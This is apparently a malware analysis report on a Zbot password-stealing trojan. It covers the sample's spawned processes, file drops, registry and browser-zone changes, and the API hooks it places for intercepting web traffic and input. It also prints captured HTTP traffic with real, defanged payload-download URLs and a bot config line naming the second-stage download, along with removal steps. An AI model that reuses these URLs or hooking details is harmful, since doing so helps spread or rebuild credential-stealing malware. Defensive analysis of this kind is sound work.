TrojanPSW.Win32.Zbot_a246db93f7

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan-PSW creates the following process(es):

wmic.exe:496
wmic.exe:1728
net1.exe:740
net1.exe:1516
net1.exe:948
net1.exe:1076
net1.exe:560
net1.exe:1156
net1.exe:1612
net1.exe:640
net1.exe:1112
net1.exe:384
net1.exe:240
net1.exe:1760
net1.exe:2016
net1.exe:500
hmmo32.exe:1048
net.exe:212
net.exe:580
net.exe:1340
net.exe:608
net.exe:456
net.exe:1500
net.exe:1112
net.exe:1476
net.exe:688
net.exe:1452
net.exe:2008
net.exe:1516
net.exe:1764
net.exe:912
uvyb.exe:1788

The Trojan-PSW injects its code into the following process(es):

%original file name%.exe:656
Explorer.EXE:128

Mutexes

The following mutexes were created/opened:

{D2F72CEF-59F5-AB56-A62E-1152646FBF58}ZonesLockedCacheCounterMutexZonesCacheCounterMutexZonesCounterMutexRasPbFileWininetProxyRegistryMutexWininetConnectionMutexWininetStartupMutexc:!documents and settings!adm!local settings!history!history.ie5!c:!documents and settings!adm!cookies!_!MSFTHISTORY!_ShimCacheMutexc:!documents and settings!adm!local settings!temporary internet files!content.ie5!

File activity

The process %original file name%.exe:656 makes changes in the file system.

The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\hmmo32.exe (29308 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\germans.ini (65 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\swsoft[1].png (107905 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\history3[1].jpg (65 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)

The process hmmo32.exe:1048 makes changes in the file system.

The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\tmp0bba8feb.bat (179 bytes)
%Documents and Settings%\%current user%\Application Data\Nenua\uvyb.exe (225 bytes)

Registry activity

The process wmic.exe:496 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "93 5C 18 DD BD 88 9E 3F 75 26 C5 0C CD 25 F6 72"

The process wmic.exe:1728 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "02 D5 08 38 64 AF B1 EF 06 42 80 B5 AA E5 E6 08"

The process %original file name%.exe:656 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 17 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"GlobalUserOffline" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]
"server_sys" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]
"AstNet" = "0"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "85 C9 73 25 8A D5 1E 02 A0 A2 5F 84 07 23 89 64"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Hupi]
"Osepok" = "92 86 BC 85 A0 06 9E CF 17 73 DF 6D 77 1B 58 47"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan-PSW modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan-PSW modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan-PSW modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan-PSW deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process net1.exe:740 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "AB 23 66 0A 32 EE D7 76 4C F0 1C 60 2C 3D FE B1"

The process net1.exe:1516 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C3 16 9C 98 DB 68 F3 B3 A7 6E 06 73 16 78 70 A4"

The process net1.exe:948 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "1A 63 42 90 B1 D3 40 35 14 AE CC EA 57 D8 FA 68"

The process net1.exe:1076 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4F 92 B7 ED DA F6 FD 2B AA 10 81 03 1F CB F3 17"

The process net1.exe:560 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "91 60 94 35 67 52 DA D7 5D 49 FE 8C 22 91 80 E0"

The process net1.exe:1156 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "1F 8C C9 CF 0C 48 0C FA 2F 0B 31 D0 2F 46 9E 9E"

The process net1.exe:1612 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "27 70 1A 24 62 F4 FF BA A8 00 AB 6A 19 10 32 52"

The process net1.exe:640 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "48 69 ED 99 1C 54 3F 61 EA F7 B7 D3 12 00 3B 46"

The process net1.exe:1112 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B9 49 51 51 04 FC 62 54 A8 48 59 3A 9D 8D 7F 10"

The process net1.exe:384 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6E 97 DB 02 D6 41 48 E5 37 D0 38 DF 4D 04 3A 7A"

The process net1.exe:240 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "42 59 B5 54 65 4B 27 63 85 87 C6 A8 15 2E 7D 7A"

The process net1.exe:1760 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "09 A1 D0 8C 50 DF 89 13 31 A5 EA 03 35 08 30 51"

The process net1.exe:2016 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "85 88 42 65 1B EC 78 67 F5 D9 EE EA AB 75 55 78"

The process net1.exe:500 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B8 AE 1A 6C B7 3E 58 29 C0 3D 93 95 C9 9F 0F B8"

The process hmmo32.exe:1048 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "28 65 9B F3 1B AC 7B D1 8F 19 9F E2 11 C9 20 9C"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Hupi]
"Osepok" = "92 86 BC 85 A0 06 9E CF 17 73 DF 6D 77 1B 58 47"

The process net.exe:212 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "09 B6 95 C1 A1 9C 46 AF B7 46 3A 6C 8F 2D 85 E4"

The process net.exe:580 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C9 C7 DC 6E 20 CC EB 3B 98 97 15 E2 67 41 9A 21"

The process net.exe:1340 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F5 16 2E A0 8C 55 57 47 F6 4D 28 37 BC AA E7 F7"

The process net.exe:608 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "20 E7 21 08 B8 6D 1F B4 8B 39 25 1E 73 A1 AC F4"

The process net.exe:456 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D1 25 DC 30 B9 E4 DA 18 66 0D 3A B1 35 11 00 28"

The process net.exe:1500 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "CD 83 72 ED FF AA 05 60 86 F8 D9 D9 66 AB FB 0B"

The process net.exe:1112 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "43 9C 28 16 2B 1B 2C AF BA AB EC 4A 34 86 D1 71"

The process net.exe:1476 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "21 34 D5 A1 71 9A F6 78 32 45 8D 37 32 69 F5 EA"

The process net.exe:688 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F5 45 E6 D5 49 69 E4 0D 53 1B EC 3F 96 89 7D 8C"

The process net.exe:1452 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "77 3A 83 D9 E2 7B AA 6B 16 65 D9 4E DB 27 05 22"

The process net.exe:2008 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "01 D4 16 74 9F 17 F5 63 36 38 F1 47 33 F9 B0 11"

The process net.exe:1516 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "60 E3 15 DD B8 EA 6D 22 90 83 F1 1E FE 1F 67 D0"

The process net.exe:1764 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F5 C7 7A 0B B4 F4 C9 C9 9F 87 58 1C 2A 5A E1 8E"

The process net.exe:912 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EB 18 15 54 B1 62 EE 7F 40 3A CC F1 A5 F9 60 26"

The process uvyb.exe:1788 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A8 FE AB 46 6F 2B DB 54 DB 13 30 1F 49 5C 52 EB"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

Dropped PE files

MD5	File path
44de8d23cb5561cb45e91b2b1698af8d	c:\Documents and Settings\"%CurrentUserName%"\Application Data\Nenua\uvyb.exe
70e38459cc81382997cb074f38d3a7f6	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\swsoft[1].png

HOSTS file anomalies

No changes have been detected.

Rootkit activity

The Trojan-PSW installs the following user-mode hooks in WINMM.dll:

PlaySoundW

The Trojan-PSW installs the following user-mode hooks in WININET.dll:

HttpEndRequestW
HttpEndRequestA
HttpSendRequestExA
HttpSendRequestW
InternetReadFileExA
InternetSetFilePointer
InternetQueryDataAvailable
HttpOpenRequestW
HttpSendRequestExW
InternetReadFile
HttpQueryInfoA
HttpSendRequestA
InternetCloseHandle
HttpOpenRequestA

The Trojan-PSW installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The Trojan-PSW installs the following user-mode hooks in USER32.dll:

SetCursorPos
DefMDIChildProcA
DefFrameProcA
DefDlgProcA
GetClipboardData
DefMDIChildProcW
DefFrameProcW
GetUpdateRgn
RegisterClassA
GetDCEx
ReleaseCapture
SetCapture
DefWindowProcA
CallWindowProcA
GetUpdateRect
PeekMessageA
CallWindowProcW
GetMessagePos
GetCursorPos
EndPaint
BeginPaint
DefWindowProcW
RegisterClassExA
GetMessageA
DefDlgProcW
SwitchDesktop
OpenInputDesktop
RegisterClassExW
RegisterClassW
GetCapture
PeekMessageW
GetMessageW
GetWindowDC
TranslateMessage
GetDC
ReleaseDC

The Trojan-PSW installs the following user-mode hooks in ADVAPI32.dll:

CreateProcessAsUserA
CreateProcessAsUserW

The Trojan-PSW installs the following user-mode hooks in WS2_32.dll:

WSASend
gethostbyname
send
closesocket
getaddrinfo

The Trojan-PSW installs the following user-mode hooks in kernel32.dll:

ExitProcess
GetFileAttributesExW

The Trojan-PSW installs the following user-mode hooks in ntdll.dll:

NtCreateThread

Propagation

Removals

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Scan a system with an anti-rootkit tool.
   
2. Terminate malicious process(es) (How to End a Process With the Task Manager):

   wmic.exe:496
   wmic.exe:1728
   net1.exe:740
   net1.exe:1516
   net1.exe:948
   net1.exe:1076
   net1.exe:560
   net1.exe:1156
   net1.exe:1612
   net1.exe:640
   net1.exe:1112
   net1.exe:384
   net1.exe:240
   net1.exe:1760
   net1.exe:2016
   net1.exe:500
   hmmo32.exe:1048
   net.exe:212
   net.exe:580
   net.exe:1340
   net.exe:608
   net.exe:456
   net.exe:1500
   net.exe:1112
   net.exe:1476
   net.exe:688
   net.exe:1452
   net.exe:2008
   net.exe:1516
   net.exe:1764
   net.exe:912
   uvyb.exe:1788
   

3. Delete the original Trojan-PSW file.
   
4. Delete or disinfect the following files created/modified by the Trojan-PSW:

   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\hmmo32.exe (29308 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\germans.ini (65 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\swsoft[1].png (107905 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\history3[1].jpg (65 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\tmp0bba8feb.bat (179 bytes)
   %Documents and Settings%\%current user%\Application Data\Nenua\uvyb.exe (225 bytes)

5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
6. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 3, 3, 8, 1
File Description:
Comments:
Language: English (United States)

Company Name: Product Name: Product Version: Legal Copyright: Legal Trademarks: Original Filename: Internal Name: File Version: 3, 3, 8, 1File Description: Comments: Language: English (United States)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
UPX0	4096	458752	0	0	d41d8cd98f00b204e9800998ecf8427e
UPX1	462848	274432	270848	5.49591	0139746a74475b9ff8edf12512d74234
.rsrc	737280	8192	7168	2.76889	cecd8a57722b8435e1deb6238c513d36

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://www.nadayu.com.my/images/history3.jpg	183.78.169.60
hxxp://www.hirano.ac.jp/ifs/wp-admin/images/swsoft.png	210.172.218.28

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /ifs/wp-admin/images/swsoft.png HTTP/1.1

User-Agent: AutoIt

Host: VVV.hirano.ac.jp

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Fri, 04 Jul 2014 02:06:54 GMT

Server: Apache/2.2.20

Last-Modified: Mon, 30 Jun 2014 17:43:56 GMT

ETag: "1fc8014-37200-4fd1134072f00"

Accept-Ranges: bytes

Content-Length: 225792

Content-Type: image/png

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...U..7.................d........................@.......................................@..........................................................................................................................................................text....c.......d.................. ..`.rdata........... ...h..............@..@.data...R...........................@....rsrc...............................@..@.reloc...@...........^..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................j.h..@............(.@...(.@..5,.@...).(.@. .0.@... .4.@.....@. .0.@.h8.@.........@..-E.@... .@..,...=~...uf.}.WRS.....)5..@....-..@.d.....0.....(.@..............5(.@....)=I.@...[Z...H<....I8hM.@.j@QP.H........).(.@................F............. ..%Q.@...U.@..5Y.@...(.@...................U....(......E.)..$....E..,....E. ]..-....E......U....$.u.....@...$....-..@. U..-..@.Nu..]..%..@..............@.)u.....@....@@.3.....@................$.....$....a...~. ...])=..@.........]@..-..@.P.5..@... ....U.........@..

<<

<<< skipped >>>

GET /images/history3.jpg HTTP/1.1

User-Agent: AutoIt

Host: VVV.nadayu.com.my

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Fri, 04 Jul 2014 02:06:46 GMT

Server: Apache/2.2.26 (Unix) mod_ssl/2.2.26 OpenSSL/1.0.1e-fips mod_bwlimited/1.4 PHP/5.3.28

Last-Modified: Fri, 09 May 2014 09:41:59 GMT

ETag: "ce032f-41-4f8f468b44d25"

Accept-Ranges: bytes

Content-Length: 65

Content-Type: image/jpeg

[bot]..url=hXXp://VVV.hirano.ac.jp/ifs/wp-admin/images/swsoft.png..

Map

The Trojan-PSW connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_656:

`.rsrc

`.rsrc

s%j.Zf

s%j.Zf

8crtsu

8crtsu

:crts

:crts

crts

crts

GetProcessWindowStation

GetProcessWindowStation

operator

operator

This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.

This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.

uxtheme.dll

uxtheme.dll

kernel32.dll

kernel32.dll

operand of unlimited repeat could match the empty string

operand of unlimited repeat could match the empty string

POSIX named classes are supported only within a class

POSIX named classes are supported only within a class

erroffset passed as NULL

erroffset passed as NULL

POSIX collating elements are not supported

POSIX collating elements are not supported

this version of PCRE is not compiled with PCRE_UTF8 support

this version of PCRE is not compiled with PCRE_UTF8 support

PCRE does not support \L, \l, \N{name}, \U, or \u

PCRE does not support \L, \l, \N{name}, \U, or \u

support for \P, \p, and \X has not been compiled

support for \P, \p, and \X has not been compiled

this version of PCRE is not compiled with PCRE_UCP support

this version of PCRE is not compiled with PCRE_UCP support

ICMP.DLL

ICMP.DLL

advapi32.dll

advapi32.dll

RegDeleteKeyExW

RegDeleteKeyExW

Error text not found (please report)

Error text not found (please report)

zcÁ

zcÁ

GetProcessHeap

GetProcessHeap

CreatePipe

CreatePipe

GetWindowsDirectoryW

GetWindowsDirectoryW

GetCPInfo

GetCPInfo

RegDeleteKeyW

RegDeleteKeyW

RegEnumKeyExW

RegEnumKeyExW

RegCreateKeyExW

RegCreateKeyExW

RegOpenKeyExW

RegOpenKeyExW

RegCloseKey

RegCloseKey

SetViewportOrgEx

SetViewportOrgEx

ShellExecuteExW

ShellExecuteExW

SHFileOperationW

SHFileOperationW

ShellExecuteW

ShellExecuteW

RegisterHotKey

RegisterHotKey

GetKeyboardLayoutNameW

GetKeyboardLayoutNameW

ExitWindowsEx

ExitWindowsEx

EnumThreadWindows

EnumThreadWindows

GetAsyncKeyState

GetAsyncKeyState

SetKeyboardState

SetKeyboardState

GetKeyboardState

GetKeyboardState

GetKeyState

GetKeyState

VkKeyScanW

VkKeyScanW

EnumWindows

EnumWindows

EnumChildWindows

EnumChildWindows

MapVirtualKeyW

MapVirtualKeyW

CloseWindowStation

CloseWindowStation

SetProcessWindowStation

SetProcessWindowStation

OpenWindowStationW

OpenWindowStationW

UnregisterHotKey

UnregisterHotKey

keybd_event

keybd_event

InternetCrackUrlW

InternetCrackUrlW

HttpQueryInfoW

HttpQueryInfoW

HttpOpenRequestW

HttpOpenRequestW

HttpSendRequestW

HttpSendRequestW

FtpOpenFileW

FtpOpenFileW

FtpGetFileSize

FtpGetFileSize

InternetOpenUrlW

InternetOpenUrlW

.text

.text

`.rdata

`.rdata

@.data

@.data

.rsrc

.rsrc

23$--%"!'

23$--%"!'

s.ak[

s.ak[

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" language="*" processorArchitecture="*" publicKeyToken="6595b64144ccf1df"></assemblyIdentity>

<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" language="*" processorArchitecture="*" publicKeyToken="6595b64144ccf1df"></assemblyIdentity>

KERNEL32.DLL

KERNEL32.DLL

ADVAPI32.dll

ADVAPI32.dll

COMCTL32.dll

COMCTL32.dll

COMDLG32.dll

COMDLG32.dll

GDI32.dll

GDI32.dll

MPR.dll

MPR.dll

ole32.dll

ole32.dll

OLEAUT32.dll

OLEAUT32.dll

PSAPI.DLL

PSAPI.DLL

SHELL32.dll

SHELL32.dll

USER32.dll

USER32.dll

USERENV.dll

USERENV.dll

VERSION.dll

VERSION.dll

WININET.dll

WININET.dll

WINMM.dll

WINMM.dll

WSOCK32.dll

WSOCK32.dll

mscoree.dll

mscoree.dll

nKERNEL32.DLL

nKERNEL32.DLL

- Attempt to initialize the CRT more than once.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- CRT not initialized

- floating point support not loaded

- floating point support not loaded

WUSER32.DLL

WUSER32.DLL

>>>AUTOIT NO CMDEXECUTE<<<</pre><pre>CMDLINERAW</pre><pre>CMDLINE</pre><pre>/AutoIt3ExecuteLine</pre><pre>/AutoIt3ExecuteScript</pre><pre>%s (%d) : ==> %s.:</pre><pre>Line %d:</pre><pre>Line %d (File "%s"):</pre><pre>%s (%d) : ==> %s:</pre><pre>AutoIt script files (*.au3, *.a3x)</pre><pre>*.au3;*.a3x</pre><pre>All files (*.*)</pre><pre>#NoAutoIt3Execute</pre><pre>APPSKEY</pre><pre>04090000</pre><pre>%u.%u.%u.%u</pre><pre>0.0.0.0</pre><pre>Mddddd</pre><pre>%s (%d) : ==> %s:</pre><pre>UDPSTARTUP</pre><pre>UDPSHUTDOWN</pre><pre>UDPSEND</pre><pre>UDPRECV</pre><pre>UDPOPEN</pre><pre>UDPCLOSESOCKET</pre><pre>UDPBIND</pre><pre>TRAYGETMSG</pre><pre>TCPSTARTUP</pre><pre>TCPSHUTDOWN</pre><pre>TCPSEND</pre><pre>TCPRECV</pre><pre>TCPNAMETOIP</pre><pre>TCPLISTEN</pre><pre>TCPCONNECT</pre><pre>TCPCLOSESOCKET</pre><pre>TCPACCEPT</pre><pre>SHELLEXECUTEWAIT</pre><pre>SHELLEXECUTE</pre><pre>REGENUMKEY</pre><pre>MSGBOX</pre><pre>ISKEYWORD</pre><pre>HTTPSETUSERAGENT</pre><pre>HTTPSETPROXY</pre><pre>HOTKEYSET</pre><pre>GUIREGISTERMSG</pre><pre>GUIGETMSG</pre><pre>GUICTRLSENDMSG</pre><pre>GUICTRLRECVMSG</pre><pre>FTPSETPROXY</pre><pre>\??\%s</pre><pre>GUI_RUNDEFMSG</pre><pre>SendKeyDelay</pre><pre>SendKeyDownDelay</pre><pre>TCPTimeout</pre><pre>AUTOITCALLVARIABLE%d</pre><pre>255.255.255.255</pre><pre>Keyword</pre><pre>AutoIt.Error</pre><pre>Null Object assignment in FOR..IN loop</pre><pre>Incorrect Object type in FOR..IN loop</pre><pre>HOTKEYPRESSED</pre><pre>AUTOITEXE</pre><pre>WINDOWSDIR</pre><pre>3, 3, 8, 1</pre><pre>HKEY_LOCAL_MACHINE</pre><pre>HKEY_CLASSES_ROOT</pre><pre>HKEY_CURRENT_CONFIG</pre><pre>HKEY_CURRENT_USER</pre><pre>HKEY_USERS</pre><pre>%d/d/d</pre><pre>c:\%original file name%.exe</pre><pre>:C:\%original file name%.exe</pre><pre>AutoIt supports the __stdcall (WINAPI) and __cdecl calling conventions. The __stdcall (WINAPI) convention is used by default but __cdecl can be used instead. See the DllCall() documentation for details on changing the calling convention.</pre><pre>Missing operator in expression."Unbalanced brackets in expression.</pre><pre>Error parsing function call.0Incorrect number of parameters in function call.'"ReDim" used without an array variable.>Illegal text at the end of statement (one statement per line).1"If" statement has no matching "EndIf" statement.1"Else" statement with no matching "If" statement.2"EndIf" statement with no matching "If" statement.7Too many "Else" statements for matching "If" statement.3"While" statement has no matching "Wend" statement.4"Wend" statement with no matching "While" statement.%Variable used without being declared.XArray variable has incorrect number of subscripts or subscript dimension range exceeded.)Array variable subscript badly formatted.'Subscript used with non-Array variable.&Too many subscripts used for an array.0Missing subscript dimensions in "Dim" statement.NNo variable given for "Dim", "Local", "Global", 